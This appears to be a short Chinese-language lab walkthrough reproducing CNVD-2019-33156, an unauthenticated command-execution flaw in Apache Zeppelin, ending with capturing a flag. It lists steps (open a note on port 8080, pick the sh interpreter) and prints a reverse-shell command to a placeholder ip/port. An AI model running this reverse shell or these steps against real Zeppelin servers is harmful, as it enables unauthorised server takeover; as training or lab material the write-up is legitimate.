CNVD-2019-33156
漏洞描述：Apache Zeppelin 存在未授权的用户访问命令执行接口，导致了任意用户都可以执行恶意命令获取服务器权限
影响版本：Zeppelin
参考资料：
●https://edu.hetianlab.com/post/94
●https://www.adminxe.com/2172.html
漏洞复现
●进入8080端口，新建note笔记
![图片[1]-【初级】zeppelin 未授权任意命令执行-NGC660安全实验室](http://ngc660.cn/wp-content/uploads/2022/09/d2b5ca33bd195327.png)
选择sh或者其它的脚本语言
![图片[2]-【初级】zeppelin 未授权任意命令执行-NGC660安全实验室](http://ngc660.cn/wp-content/uploads/2022/09/d2b5ca33bd195345.png)
- 执行反弹shell命令
bash -i /dev/tcp/ip/port <&1
![图片[3]-【初级】zeppelin 未授权任意命令执行-NGC660安全实验室](http://ngc660.cn/wp-content/uploads/2022/09/d2b5ca33bd195404-1024x322.png)
获取flag
![图片[4]-【初级】zeppelin 未授权任意命令执行-NGC660安全实验室](http://ngc660.cn/wp-content/uploads/2022/09/d2b5ca33bd195420.png)
© 版权声明
部分文章采集于互联网，若侵权请联系删除！
THE END
![表情[chi]-NGC660安全实验室](http://ngc660.cn/wp-content/themes/zibll/img/smilies/chi.gif)
![表情[xiaojiujie]-NGC660安全实验室](http://ngc660.cn/wp-content/themes/zibll/img/smilies/xiaojiujie.gif)
![表情[weiqu]-NGC660安全实验室](http://ngc660.cn/wp-content/themes/zibll/img/smilies/weiqu.gif)
![表情[qinqin]-NGC660安全实验室](http://ngc660.cn/wp-content/themes/zibll/img/smilies/qinqin.gif)
![表情[leiben]-NGC660安全实验室](http://ngc660.cn/wp-content/themes/zibll/img/smilies/leiben.gif)
![表情[baiyan]-NGC660安全实验室](http://ngc660.cn/wp-content/themes/zibll/img/smilies/baiyan.gif)
请登录后查看评论内容